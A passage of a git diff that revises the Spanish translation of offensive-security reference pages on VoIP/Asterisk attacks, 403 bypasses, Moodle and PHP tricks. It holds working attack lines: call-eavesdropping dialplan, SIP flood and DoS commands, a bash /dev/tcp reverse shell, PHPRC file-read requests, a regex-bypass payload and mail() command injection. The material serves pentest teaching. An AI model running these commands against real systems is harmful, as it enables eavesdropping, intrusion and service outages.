monitorear** (o todas ellas) para escuchar las conversaciones que están ocurriendo. Este comando debe ser asignado a una extensión. -Por ejemplo, **`exten => 333,1,ChanSpy('all',qb)`** indica que si **llamas** a la **extensión 333**, se **monitorearán** **`todas`** las extensiones, **comenzando a escuchar** cada vez que inicie una nueva conversación (**`b`**) en modo silencioso (**`q`**) ya que no queremos interactuar en ello. Podrías pasar de una conversación a otra presionando **`*`**, o marcando el número de extensión. +Por ejemplo, **`exten => 333,1,ChanSpy('all',qb)`** indica que si **llamas** a la **extensión 333**, se **monitorearán** **`todas`** las extensiones, **comenzando a escuchar** cada vez que inicie una nueva conversación (**`b`**) en modo silencioso (**`q`**) ya que no queremos interactuar en ella. Podrías pasar de una conversación a otra presionando **`*`**, o marcando el número de la extensión. También es posible usar **`ExtenSpy`** para monitorear solo una extensión. @@ -524,7 +524,7 @@ Los proxies RTP intentan abordar las **limitaciones de NAT** que afectan a los s Otro comportamiento interesante de los proxies RTP y las pilas RTP es que a veces, **incluso si no son vulnerables a RTP Bleed**, **aceptarán, reenviarán y/o procesarán paquetes RTP de cualquier fuente**. Por lo tanto, los atacantes pueden enviar paquetes RTP que pueden permitirles inyectar su medio en lugar del legítimo. Llamamos a este ataque inyección RTP porque permite la inyección de paquetes RTP ilegítimos en flujos RTP existentes. Esta vulnerabilidad puede encontrarse tanto en proxies RTP como en puntos finales. -Asterisk y FreePBX han utilizado tradicionalmente la **configuración `NAT=yes`**, que permite que el tráfico RTP eluda la autenticación, lo que puede llevar a que no haya audio o audio unidireccional en las llamadas. +Asterisk y FreePBX han utilizado tradicionalmente la **configuración `NAT=yes`**, que permite que el tráfico RTP eluda la autenticación, lo que puede llevar a no tener audio o audio unidireccional en las llamadas. Para más información, consulta [https://www.rtpbleed.com/](https://www.rtpbleed.com/) @@ -536,7 +536,7 @@ sippts rtpbleed -i 10.10.0.10 ```bash sippts rtcpbleed -i 10.10.0.10 ``` -- **`SIPPTS rtpbleedflood`** de [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS rtpbleedflood explota la vulnerabilidad RTP Bleed enviando flujos RTP. +- **`SIPPTS rtpbleedflood`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS rtpbleedflood explota la vulnerabilidad RTP Bleed enviando flujos RTP. ```bash sippts rtpbleedflood -i 10.10.0.10 -p 10070 -v ``` @@ -550,7 +550,7 @@ En Asterisk, de alguna manera logras **agregar reglas de extensión y recargarla ```scss same => n,System(echo "Called at $(date)" >> /tmp/call_log.txt) ``` -Hay un comando llamado **`Shell`** que podría usarse **en lugar de `System`** para ejecutar comandos del sistema si es necesario. +Hay un comando llamado **`Shell`** que se podría usar **en lugar de `System`** para ejecutar comandos del sistema si es necesario. > [!WARNING] > Si el servidor **no permite el uso de ciertos caracteres** en el comando **`System`** (como en Elastix), verifica si el servidor web permite **crear archivos de alguna manera dentro del sistema** (como en Elastix o trixbox), y úsalo para **crear un script de puerta trasera** y luego usa **`System`** para **ejecutar** ese **script**. @@ -566,7 +566,7 @@ Hay un comando llamado **`Shell`** que podría usarse **en lugar de `System`** p - **`FreePBX.conf`** -> Contiene la contraseña del usuario FreePBXuser utilizado para acceder a la base de datos. - esto podría usarse para crear un nuevo usuario mysql como puerta trasera. - **`Elastix`** -- **`Elastix.conf`** -> Contiene varias contraseñas en texto claro como la contraseña de root de mysql, la contraseña de IMAPd, la contraseña del administrador web. +- **`Elastix.conf`** -> Contiene varias contraseñas en texto claro como la contraseña root de mysql, la contraseña de IMAPd, la contraseña del administrador web. - **Varios folders** pertenecerán al usuario asterisk comprometido (si no se está ejecutando como root). Este usuario puede leer los archivos anteriores y también controla la configuración, por lo que podría hacer que Asterisk cargue otros binarios con puerta trasera al ejecutarse. ### Inyección RTP @@ -579,11 +579,11 @@ O podrías usar los scripts de [http://blog.pepelux.org/2011/09/13/inyectando-tr Hay varias formas de intentar lograr DoS en servidores VoIP. -- **`SIPPTS flood`** de [**sippts**](https://github.com/Pepelux/sippts)\*\*: SIPPTS flood envía mensajes ilimitados al objetivo. +- **`SIPPTS flood`** de [**sippts**](https://github.com/Pepelux/sippts)**: El flood SIPPTS envía mensajes ilimitados al objetivo. - `sippts flood -i 10.10.0.10 -m invite -v` -- **`SIPPTS ping`** de [**sippts**](https://github.com/Pepelux/sippts)\*\*: SIPPTS ping realiza un ping SIP para ver el tiempo de respuesta del servidor. +- **`SIPPTS ping`** de [**sippts**](https://github.com/Pepelux/sippts)**: El ping SIPPTS realiza un ping SIP para ver el tiempo de respuesta del servidor. - `sippts ping -i 10.10.0.10` -- [**IAXFlooder**](https://www.kali.org/tools/iaxflood/): DoS protocolo IAX utilizado por Asterisk. +- [**IAXFlooder**](https://www.kali.org/tools/iaxflood/): Protocolo DoS IAX utilizado por Asterisk. - [**inviteflood**](https://github.com/foreni-packages/inviteflood/blob/master/inviteflood/Readme.txt): Una herramienta para realizar inundaciones de mensajes SIP/SDP INVITE sobre UDP/IP. - [**rtpflood**](https://www.kali.org/tools/rtpflood/): Envía varios paquetes RTP bien formados. Es necesario conocer los puertos RTP que se están utilizando (esnifar primero). - [**SIPp**](https://github.com/SIPp/sipp): Permite analizar y generar tráfico SIP, por lo que también se puede usar para DoS. @@ -592,7 +592,7 @@ Hay varias formas de intentar lograr DoS en servidores VoIP. ### Vulnerabilidades del SO -La forma más fácil de instalar un software como Asterisk es descargar una **distribución de SO** que ya lo tenga instalado, como: **FreePBX, Elastix, Trixbox**... El problema con estos es que una vez que está funcionando, los administradores del sistema podrían **no actualizarlos nuevamente** y **las vulnerabilidades** se descubrirán con el tiempo. +La forma más fácil de instalar un software como Asterisk es descargar una **distribución de SO** que ya lo tenga instalado, como: **FreePBX, Elastix, Trixbox**... El problema con estos es que una vez que está funcionando, los administradores del sistema podrían **no actualizarlos nuevamente** y las **vulnerabilidades** se descubrirán con el tiempo. ## Referencias diff --git a/src/network-services-pentesting/pentesting-web/403-and-401-bypasses.md b/src/network-services-pentesting/pentesting-web/403-and-401-bypasses.md index ee3506cb3..b9792c33e 100644 --- a/src/network-services-pentesting/pentesting-web/403-and-401-bypasses.md +++ b/src/network-services-pentesting/pentesting-web/403-and-401-bypasses.md @@ -6,7 +6,7 @@ Intenta usar **diferentes verbos** para acceder al archivo: `GET, HEAD, POST, PUT, DELETE, CONNECT, OPTIONS, TRACE, PATCH, INVENTED, HACK` -- Verifica los encabezados de respuesta, tal vez se pueda obtener alguna información. Por ejemplo, una **respuesta 200** a **HEAD** con `Content-Length: 55` significa que el **verbo HEAD puede acceder a la info**. Pero aún necesitas encontrar una manera de exfiltrar esa info. +- Verifica los encabezados de respuesta, tal vez se pueda obtener alguna información. Por ejemplo, una **respuesta 200** a **HEAD** con `Content-Length: 55` significa que el **verbo HEAD puede acceder a la info**. Pero aún necesitas encontrar una manera de exfiltrar esa información. - Usar un encabezado HTTP como `X-HTTP-Method-Override: PUT` puede sobrescribir el verbo utilizado. - Usa el verbo **`TRACE`** y si tienes mucha suerte, tal vez en la respuesta también puedas ver los **encabezados añadidos por proxies intermedios** que podrían ser útiles. @@ -14,7 +14,7 @@ Intenta usar **diferentes verbos** para acceder al archivo: `GET, HEAD, POST, PU - **Cambia el encabezado Host** a algún valor arbitrario ([que funcionó aquí](https://medium.com/@sechunter/exploiting-admin-panel-like-a-boss-fc2dd2499d31)) - Intenta [**usar otros User Agents**](https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/User-Agents/UserAgents.fuzz.txt) para acceder al recurso. -- **Fuzz HTTP Headers**: Intenta usar encabezados de proxy HTTP, autenticación básica HTTP y NTLM de fuerza bruta (con solo algunas combinaciones) y otras técnicas. Para hacer todo esto, he creado la herramienta [**fuzzhttpbypass**](https://github.com/carlospolop/fuzzhttpbypass). +- **Fuzz HTTP Headers**: Intenta usar encabezados de proxy HTTP, autenticación básica y NTLM de fuerza bruta (con solo algunas combinaciones) y otras técnicas. Para hacer todo esto he creado la herramienta [**fuzzhttpbypass**](https://github.com/carlospolop/fuzzhttpbypass). - `X-Originating-IP: 127.0.0.1` - `X-Forwarded-For: 127.0.0.1` @@ -36,16 +36,16 @@ Si el **ruta está protegida**, puedes intentar eludir la protección de la ruta - `X-Rewrite-URL: /admin/console` - Si la página está **detrás de un proxy**, tal vez sea el proxy el que te impide acceder a la información privada. Intenta abusar de [**HTTP Request Smuggling**](../../pentesting-web/http-request-smuggling/index.html) **o** [**hop-by-hop headers**](../../pentesting-web/abusing-hop-by-hop-headers.md)**.** -- Fuzz [**encabezados HTTP especiales**](special-http-headers.md) buscando diferentes respuestas. -- **Fuzz encabezados HTTP especiales** mientras haces fuzzing de **métodos HTTP**. +- Fuzz [**special HTTP headers**](special-http-headers.md) buscando diferentes respuestas. +- **Fuzz special HTTP headers** mientras haces fuzzing de **HTTP Methods**. - **Elimina el encabezado Host** y tal vez podrás eludir la protección. ## Path **Fuzzing** Si _/path_ está bloqueado: -- Intenta usar _**/**_**%2e/path \_(si el acceso está bloqueado por un proxy, esto podría eludir la protección). Intenta también**\_\*\* /%252e\*\*/path (doble codificación de URL) -- Intenta **eludir Unicode**: _/**%ef%bc%8f**path_ (Los caracteres codificados en URL son como "/") así que cuando se codifiquen de nuevo será _//path_ y tal vez ya habrás eludido la verificación del nombre _/path_ +- Intenta usar `/%2e/path` (si el acceso está bloqueado por un proxy, esto podría eludir la protección). Intenta también `/%252e**/path` (doble codificación de URL) +- Intenta **Unicode bypass**: _/**%ef%bc%8f**path_ (Los caracteres codificados en URL son como "/") así que cuando se codifiquen de nuevo será _//path_ y tal vez ya habrás eludido la verificación del nombre _/path_ - **Otras elusiones de ruta**: - site.com/secret –> HTTP 403 Forbidden - site.com/SECRET –> HTTP 200 OK @@ -94,7 +94,7 @@ Si usas HTTP/1.1 **intenta usar 1.0** o incluso prueba si **soporta 2.0**. ## **Brute Force** - **Adivina la contraseña**: Prueba las siguientes credenciales comunes. ¿Sabes algo sobre la víctima? ¿O el nombre del desafío CTF? -- [**Brute force**](../../generic-hacking/brute-force.md#http-brute)**:** Intenta autenticación básica, digest y NTLM. +- [**Brute force**](../../generic-hacking/brute-force.md#http-brute)**:** Prueba autenticación básica, digest y NTLM. ```:Common creds admin admin admin password diff --git a/src/network-services-pentesting/pentesting-web/electron-desktop-apps/electron-contextisolation-rce-via-preload-code.md b/src/network-services-pentesting/pentesting-web/electron-desktop-apps/electron-contextisolation-rce-via-preload-code.md index 2bd253c04..041520e1d 100644 --- a/src/network-services-pentesting/pentesting-web/electron-desktop-apps/electron-contextisolation-rce-via-preload-code.md +++ b/src/network-services-pentesting/pentesting-web/electron-desktop-apps/electron-contextisolation-rce-via-preload-code.md @@ -71,7 +71,7 @@ result.nvidia = { error: e.toString() } return result } ``` -Normalmente, el _execa_ intenta ejecutar "_nvidia-smi.exe_", que está especificado en la variable `nvidiaSmiPath`, sin embargo, debido a la sobreescritura de `RegExp.prototype.test` y `Array.prototype.join`, **el argumento se reemplaza por "**_**calc**_**" en el procesamiento interno de \_execa**\_**. +Normalmente, el _execa_ intenta ejecutar "_nvidia-smi.exe_", que está especificado en la variable `nvidiaSmiPath`, sin embargo, debido a la sobreescritura de `RegExp.prototype.test` y `Array.prototype.join`, **el argumento se reemplaza por "**_**calc**_**" en el procesamiento interno de _execa**_**. Específicamente, el argumento se reemplaza cambiando las siguientes dos partes. diff --git a/src/network-services-pentesting/pentesting-web/imagemagick-security.md b/src/network-services-pentesting/pentesting-web/imagemagick-security.md index 27a642bf5..d535c8a75 100644 --- a/src/network-services-pentesting/pentesting-web/imagemagick-security.md +++ b/src/network-services-pentesting/pentesting-web/imagemagick-security.md @@ -21,7 +21,7 @@ Históricamente, las políticas de ImageMagick se basaban en un enfoque de lista ``` ## Sensibilidad a Mayúsculas en Políticas -Es crucial notar que los patrones de políticas en ImageMagick son sensibles a mayúsculas. Como tal, asegurar que los codificadores y módulos estén correctamente en mayúsculas en las políticas es vital para prevenir permisos no intencionados. +Es crucial notar que los patrones de políticas en ImageMagick son sensibles a mayúsculas. Por lo tanto, asegurar que los codificadores y módulos estén correctamente en mayúsculas en las políticas es vital para prevenir permisos no intencionados. ## Límites de Recursos @@ -41,6 +41,6 @@ La efectividad de una política de seguridad se puede confirmar utilizando el co ## Referencias -- [https://blog.doyensec.com/2023/01/10/imagemagick-security-policy-evaluator.html\*\*](https://blog.doyensec.com/2023/01/10/imagemagick-security-policy-evaluator.html) +- [https://blog.doyensec.com/2023/01/10/imagemagick-security-policy-evaluator.html**](https://blog.doyensec.com/2023/01/10/imagemagick-security-policy-evaluator.html) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-web/moodle.md b/src/network-services-pentesting/pentesting-web/moodle.md index 53c1cce5e..9482d7bee 100644 --- a/src/network-services-pentesting/pentesting-web/moodle.md +++ b/src/network-services-pentesting/pentesting-web/moodle.md @@ -66,13 +66,13 @@ Encontré que las herramientas automáticas son bastante **inútiles para encont ## **RCE** -Necesitas tener el rol de **manager** y **puedes instalar plugins** dentro de la pestaña **"Site administration"**\*\*:\*\* +Necesitas tener el rol de **manager** y **puedes instalar plugins** dentro de la pestaña **"Administración del sitio"**: ![](<../../images/image (630).png>) Si eres manager, es posible que aún necesites **activar esta opción**. Puedes ver cómo en el PoC de escalada de privilegios de moodle: [https://github.com/HoangKien1020/CVE-2020-14321](https://github.com/HoangKien1020/CVE-2020-14321). -Luego, puedes **instalar el siguiente plugin** que contiene el clásico rev shell de pentest-monkey php r**ev shell** (_antes de subirlo, necesitas descomprimirlo, cambiar la IP y el puerto del revshell y volver a comprimirlo_) +Luego, puedes **instalar el siguiente plugin** que contiene el clásico shell de rev php de pentest-monkey (_antes de subirlo, necesitas descomprimirlo, cambiar la IP y el puerto del revshell y volver a comprimirlo_) {{#file}} moodle-rce-plugin.zip diff --git a/src/network-services-pentesting/pentesting-web/php-tricks-esp/README.md b/src/network-services-pentesting/pentesting-web/php-tricks-esp/README.md index 068de06c1..248f5ba46 100644 --- a/src/network-services-pentesting/pentesting-web/php-tricks-esp/README.md +++ b/src/network-services-pentesting/pentesting-web/php-tricks-esp/README.md @@ -18,7 +18,7 @@ Ubicaciones: /tmp/ Example: ../../../../../../tmp/sess_d1d531db62523df80e1153ada1d4b02e ``` -## Bypass de comparaciones PHP +## Bypass de comparaciones en PHP ### Comparaciones sueltas/Juggling de tipos ( == ) @@ -36,7 +36,7 @@ EN-PHP-loose-comparison-Type-Juggling-OWASP (1).pdf - `"0xAAAA" == "43690" -> True` Cadenas compuestas por números en formato decimal o hexadecimal pueden compararse con otros números/cadenas con True como resultado si los números son los mismos (los números en una cadena se interpretan como números) - `"0e3264578" == 0 --> True` Una cadena que comienza con "0e" y seguida de cualquier cosa será igual a 0 - `"0X3264578" == 0X --> True` Una cadena que comienza con "0" y seguida de cualquier letra (X puede ser cualquier letra) y seguida de cualquier cosa será igual a 0 -- `"0e12334" == "0" --> True` Esto es muy interesante porque en algunos casos puedes controlar la entrada de cadena de "0" y algún contenido que se está hasheando y comparando con ella. Por lo tanto, si puedes proporcionar un valor que cree un hash que comience con "0e" y sin ninguna letra, podrías eludir la comparación. Puedes encontrar **cadenas ya hasheadas** con este formato aquí: [https://github.com/spaze/hashes](https://github.com/spaze/hashes) +- `"0e12334" == "0" --> True` Esto es muy interesante porque en algunos casos puedes controlar la entrada de la cadena de "0" y algún contenido que se está hasheando y comparando con ella. Por lo tanto, si puedes proporcionar un valor que cree un hash que comience con "0e" y sin ninguna letra, podrías eludir la comparación. Puedes encontrar **cadenas ya hasheadas** con este formato aquí: [https://github.com/spaze/hashes](https://github.com/spaze/hashes) - `"X" == 0 --> True` Cualquier letra en una cadena es igual a int 0 Más info en [https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09](https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09) @@ -64,7 +64,7 @@ El mismo error ocurre con `strcasecmp()` ### Conversión de tipos estricta -Incluso si `===` está **siendo utilizado**, podría haber errores que hacen que la **comparación sea vulnerable** a la **conversión de tipos**. Por ejemplo, si la comparación está **convirtiendo los datos a un tipo diferente de objeto antes de comparar**: +Incluso si se está utilizando `===`, podría haber errores que hacen que la comparación sea vulnerable a la conversión de tipos. Por ejemplo, si la comparación está **convirtiendo los datos a un tipo diferente de objeto antes de comparar**: ```php (int) "1abc" === (int) "1xyz" //This will be true ``` @@ -74,7 +74,7 @@ Incluso si `===` está **siendo utilizado**, podría haber errores que hacen que #### Bypass de nueva línea -Sin embargo, al delimitar el inicio de la regexp, `preg_match()` **solo verifica la primera línea de la entrada del usuario**, por lo que si de alguna manera puedes **enviar** la entrada en **varias líneas**, podrías ser capaz de eludir esta verificación. Ejemplo: +Sin embargo, al delimitar el inicio de la regexp, `preg_match()` **solo verifica la primera línea de la entrada del usuario**, entonces, si de alguna manera puedes **enviar** la entrada en **varias líneas**, podrías ser capaz de eludir esta verificación. Ejemplo: ```php $myinput="aaaaaaa 11111111"; //Notice the new line @@ -98,7 +98,7 @@ Encuentra un ejemplo aquí: [https://ramadistra.dev/fbctf-2019-rceservice](https #### **Bypass de error de longitud** (Este bypass se intentó aparentemente en PHP 5.2.5 y no pude hacerlo funcionar en PHP 7.3.15)\ -Si puedes enviar a `preg_match()` una **entrada muy grande** válida, **no podrá procesarla** y podrás **eludir** la verificación. Por ejemplo, si está bloqueando un JSON, podrías enviar: +Si puedes enviar a `preg_match()` una **entrada válida muy grande**, **no podrá procesarla** y podrás **eludir** la verificación. Por ejemplo, si está bloqueando un JSON, podrías enviar: ```bash payload = '{"cmd": "ls -la", "injected": "'+ "a"*1000001 + '"}' ``` @@ -110,12 +110,12 @@ Truco de: [https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ctf-wr
-En resumen, el problema ocurre porque las funciones `preg_*` en PHP se basan en la [biblioteca PCRE](http://www.pcre.org/). En PCRE, ciertas expresiones regulares se emparejan utilizando muchas llamadas recursivas, lo que consume mucho espacio en la pila. Es posible establecer un límite en la cantidad de recursiones permitidas, pero en PHP este límite [se establece por defecto en 100.000](http://php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit), que es más de lo que cabe en la pila. +En resumen, el problema ocurre porque las funciones `preg_*` en PHP se basan en la [biblioteca PCRE](http://www.pcre.org/). En PCRE, ciertas expresiones regulares se emparejan utilizando muchas llamadas recursivas, lo que consume mucho espacio en la pila. Es posible establecer un límite en la cantidad de recursiones permitidas, pero en PHP este límite [por defecto es 100.000](http://php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit), que es más de lo que cabe en la pila. [Este hilo de Stackoverflow](http://stackoverflow.com/questions/7620910/regexp-in-preg-match-function-returning-browser-error) también fue vinculado en la publicación donde se habla más a fondo sobre este problema. Nuestra tarea ahora estaba clara:\ **Enviar una entrada que hiciera que la regex realizara 100_000+ recursiones, causando SIGSEGV, haciendo que la función `preg_match()` devolviera `false`, haciendo que la aplicación pensara que nuestra entrada no es maliciosa, lanzando la sorpresa al final de la carga útil algo como `{system()}` para obtener SSTI --> RCE --> flag :)**. -Bueno, en términos de regex, en realidad no estamos haciendo 100k "recursiones", sino que estamos contando "pasos de retroceso", que como indica la [documentación de PHP](https://www.php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) se establece por defecto en 1_000_000 (1M) en la variable `pcre.backtrack_limit`.\ +Bueno, en términos de regex, en realidad no estamos haciendo 100k "recursiones", sino que estamos contando "pasos de retroceso", que como indica la [documentación de PHP](https://www.php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) por defecto es 1_000_000 (1M) en la variable `pcre.backtrack_limit`.\ Para alcanzar eso, `'X'*500_001` resultará en 1 millón de pasos de retroceso (500k hacia adelante y 500k hacia atrás): ```python payload = f"@dimariasimone on{'X'*500_001} {{system('id')}}" @@ -153,11 +153,11 @@ Check: ## More tricks -- **register_globals**: En **PHP < 4.1.1.1** o si está mal configurado, **register_globals** puede estar activo (o su comportamiento está siendo imitado). Esto implica que en variables globales como $\_GET si tienen un valor e.g. $\_GET\["param"]="1234", puedes acceder a él a través de **$param. Por lo tanto, al enviar parámetros HTTP puedes sobrescribir variables\*\* que se utilizan dentro del código. +- **register_globals**: En **PHP < 4.1.1.1** o si está mal configurado, **register_globals** puede estar activo (o su comportamiento está siendo imitado). Esto implica que en variables globales como $\_GET si tienen un valor e.g. $\_GET\["param"]="1234", puedes acceder a él a través de **$param. Por lo tanto, al enviar parámetros HTTP puedes sobrescribir variables** que se utilizan dentro del código. - Las **cookies PHPSESSION del mismo dominio se almacenan en el mismo lugar**, por lo tanto, si dentro de un dominio **se utilizan diferentes cookies en diferentes rutas** puedes hacer que una ruta **acceda a la cookie de la ruta** configurando el valor de la cookie de la otra ruta.\ De esta manera, si **ambas rutas acceden a una variable con el mismo nombre** puedes hacer que el **valor de esa variable en path1 se aplique a path2**. Y luego path2 tomará como válidos las variables de path1 (dándole a la cookie el nombre que le corresponde en path2). - Cuando tienes los **nombres de usuario** de los usuarios de la máquina. Verifica la dirección: **/\~\** para ver si los directorios php están activados. -- Si una configuración de php tiene **`register_argc_argv = On`** entonces los parámetros de consulta separados por espacios se utilizan para poblar el array de argumentos **`array_keys($_SERVER['argv'])`** como si fueran **argumentos de la CLI**. Esto es interesante porque si esa **configuración está desactivada**, el valor del **array args será `Null`** cuando se llame desde la web ya que el array args no se poblará. Por lo tanto, si una página web intenta verificar si se está ejecutando como una herramienta web o como una herramienta CLI con una comparación como `if (empty($_SERVER['argv'])) {` un atacante podría enviar **parámetros en la solicitud GET como `?--configPath=/lalala`** y pensará que se está ejecutando como CLI y potencialmente analizará y utilizará esos argumentos. Más información en el [original writeup](https://www.assetnote.io/resources/research/how-an-obscure-php-footgun-led-to-rce-in-craft-cms). +- Si una configuración php tiene **`register_argc_argv = On`** entonces los parámetros de consulta separados por espacios se utilizan para poblar el array de argumentos **`array_keys($_SERVER['argv'])`** como si fueran **argumentos de la CLI**. Esto es interesante porque si esa **configuración está desactivada**, el valor del **array args será `Null`** cuando se llame desde la web ya que el array args no se poblará. Por lo tanto, si una página web intenta verificar si se está ejecutando como una herramienta web o como una herramienta CLI con una comparación como `if (empty($_SERVER['argv'])) {` un atacante podría enviar **parámetros en la solicitud GET como `?--configPath=/lalala`** y pensará que se está ejecutando como CLI y potencialmente analizará y utilizará esos argumentos. Más información en el [original writeup](https://www.assetnote.io/resources/research/how-an-obscure-php-footgun-led-to-rce-in-craft-cms). - [**LFI and RCE using php wrappers**](../../../pentesting-web/file-inclusion/index.html) ### password_hash/password_verify @@ -185,8 +185,8 @@ if (isset($_GET["xss"])) echo $_GET["xss"]; ``` #### Llenando un cuerpo antes de establecer encabezados -Si una **página PHP está imprimiendo errores y devolviendo alguna entrada proporcionada por el usuario**, el usuario puede hacer que el servidor PHP imprima de vuelta algún **contenido lo suficientemente largo** para que cuando intente **agregar los encabezados** a la respuesta, el servidor genere un error.\ -En el siguiente escenario, el **atacante hizo que el servidor generara algunos errores grandes**, y como puedes ver en la pantalla, cuando PHP intentó **modificar la información del encabezado, no pudo** (por ejemplo, el encabezado CSP no se envió al usuario): +Si una **página PHP está imprimiendo errores y devolviendo alguna entrada proporcionada por el usuario**, el usuario puede hacer que el servidor PHP imprima de vuelta algún **contenido lo suficientemente largo** para que cuando intente **agregar los encabezados** a la respuesta, el servidor arroje un error.\ +En el siguiente escenario, el **atacante hizo que el servidor arrojara algunos errores grandes**, y como puedes ver en la pantalla, cuando PHP intentó **modificar la información del encabezado, no pudo** (por ejemplo, el encabezado CSP no se envió al usuario): ![](<../../../images/image (1085).png>) @@ -262,9 +262,9 @@ Puedes también usar **//** para comentar el resto del código. Para descubrir el número de paréntesis que necesitas cerrar: -- `?order=id;}//`: obtenemos un mensaje de error (`Parse error: syntax error, unexpected ';'`). Probablemente nos falta uno o más corchetes. +- `?order=id;}//`: obtenemos un mensaje de error (`Parse error: syntax error, unexpected ';'`). Probablemente nos falte uno o más corchetes. - `?order=id);}//`: obtenemos una **advertencia**. Eso parece correcto. -- `?order=id));}//`: obtenemos un mensaje de error (`Parse error: syntax error, unexpected ')' i`). Probablemente tenemos demasiados corchetes de cierre. +- `?order=id));}//`: obtenemos un mensaje de error (`Parse error: syntax error, unexpected ')' i`). Probablemente tengamos demasiados corchetes de cierre. ### **RCE a través de .httaccess** @@ -278,11 +278,11 @@ Si encuentras una vulnerabilidad que te permite **modificar variables de entorno - [**`LD_PRELOAD`**](../../../linux-hardening/privilege-escalation/index.html#ld_preload-and-ld_library_path): Esta variable de entorno te permite cargar bibliotecas arbitrarias al ejecutar otros binarios (aunque en este caso puede que no funcione). - **`PHPRC`** : Instruye a PHP sobre **dónde localizar su archivo de configuración**, generalmente llamado `php.ini`. Si puedes subir tu propio archivo de configuración, entonces, usa `PHPRC` para apuntar a él. Agrega una entrada de **`auto_prepend_file`** especificando un segundo archivo subido. Este segundo archivo contiene código **PHP normal, que luego es ejecutado** por el runtime de PHP antes de cualquier otro código. -1. Sube un archivo PHP que contenga nuestro shellcode -2. Sube un segundo archivo, que contenga una directiva de **`auto_prepend_file`** instruyendo al preprocesador de PHP a ejecutar el archivo que subimos en el paso 1 +1. Sube un archivo PHP que contenga nuestro shellcode. +2. Sube un segundo archivo, que contenga una directiva de **`auto_prepend_file`** instruyendo al preprocesador de PHP a ejecutar el archivo que subimos en el paso 1. 3. Establece la variable `PHPRC` al archivo que subimos en el paso 2. -- Obtén más información sobre cómo ejecutar esta cadena [**desde el informe original**](https://labs.watchtowr.com/cve-2023-36844-and-friends-rce-in-juniper-firewalls/). -- **PHPRC** - otra opción +- Obtén más información sobre cómo ejecutar esta cadena [**del informe original**](https://labs.watchtowr.com/cve-2023-36844-and-friends-rce-in-juniper-firewalls/). +- **PHPRC** - otra opción. - Si **no puedes subir archivos**, podrías usar en FreeBSD el "archivo" `/dev/fd/0` que contiene el **`stdin`**, siendo el **cuerpo** de la solicitud enviada al `stdin`: - `curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary 'auto_prepend_file="/etc/passwd"'` - O para obtener RCE, habilita **`allow_url_include`** y prepende un archivo con **código PHP en base64**: @@ -310,7 +310,7 @@ phpinfo(); ?> ``` -## PHP Sanitization bypass & Brain Fuck +## Bypass de sanitización de PHP y Brain Fuck [**En esta publicación**](https://blog.redteam-pentesting.de/2024/moodle-rce/) es posible encontrar grandes ideas para generar un código PHP de brain fuck con muy pocos caracteres permitidos.\ Además, también se propone una forma interesante de ejecutar funciones que les permitió eludir varias verificaciones: @@ -331,11 +331,11 @@ Si estás depurando una aplicación PHP, puedes habilitar globalmente la impresi Puedes usar el **web**[ **www.unphp.net**](http://www.unphp.net) **para desofuscar código php.** -## Envolturas y protocolos PHP +## Envolturas y protocolos de PHP -Las envolturas y protocolos PHP podrían permitirte **eludir las protecciones de escritura y lectura** en un sistema y comprometerlo. Para [**más información consulta esta página**](../../../pentesting-web/file-inclusion/index.html#lfi-rfi-using-php-wrappers-and-protocols). +Las envolturas y protocolos de PHP podrían permitirte **eludir las protecciones de escritura y lectura** en un sistema y comprometerlo. Para [**más información consulta esta página**](../../../pentesting-web/file-inclusion/index.html#lfi-rfi-using-php-wrappers-and-protocols). -## RCE no autenticada de Xdebug +## RCE no autenticado de Xdebug Si ves que **Xdebug** está **habilitado** en una salida de `phpconfig()`, deberías intentar obtener RCE a través de [https://github.com/nqxcode/xdebug-exploit](https://github.com/nqxcode/xdebug-exploit) @@ -351,7 +351,7 @@ echo "${Da}"; //Drums echo "$x ${$x}"; //Da Drums echo "$x ${Da}"; //Da Drums ``` -## RCE abusando de $\_GET\["a"]\($\_GET\["b") +## RCE abusando de nuevo $\_GET\["a"]\($\_GET\["b") Si en una página puedes **crear un nuevo objeto de una clase arbitraria** podrías obtener RCE, consulta la siguiente página para aprender cómo: diff --git a/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/README.md b/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/README.md index c91f59627..a02a49cc4 100644 --- a/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/README.md +++ b/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/README.md @@ -44,7 +44,7 @@ proc_close(proc_open("uname -a",array(),$something)); ```bash pcntl_exec("/bin/bash", ["-c", "bash -i >& /dev/tcp/127.0.0.1/4444 0>&1"]); ``` -**mail / mb_send_mail** - Esta función se utiliza para enviar correos, pero también puede ser abusada para inyectar comandos arbitrarios dentro del parámetro `$options`. Esto se debe a que la **función `mail` de php** generalmente llama al binario `sendmail` dentro del sistema y te permite **agregar opciones adicionales**. Sin embargo, no podrás ver la salida del comando ejecutado, por lo que se recomienda crear un script de shell que escriba la salida en un archivo, ejecutarlo usando mail y imprimir la salida: +**mail / mb_send_mail** - Esta función se utiliza para enviar correos, pero también se puede abusar para inyectar comandos arbitrarios dentro del parámetro `$options`. Esto se debe a que la **función `mail` de php** generalmente llama al binario `sendmail` dentro del sistema y te permite **agregar opciones adicionales**. Sin embargo, no podrás ver la salida del comando ejecutado, por lo que se recomienda crear un script de shell que escriba la salida en un archivo, ejecutarlo usando mail y imprimir la salida: ```bash file_put_contents('/www/readflag.sh', base64_decode('IyEvYmluL3NoCi9yZWFkZmxhZyA+IC90bXAvZmxhZy50eHQKCg==')); chmod('/www/readflag.sh', 0777); mail('', '', '', '', '-H \"exec /www/readflag.sh\"'); echo file_get_contents('/tmp/flag.txt'); ``` @@ -74,7 +74,7 @@ $func->invokeArgs(array()); ``` ## disable_functions & open_basedir -**Funciones deshabilitadas** es la configuración que se puede configurar en archivos `.ini` en 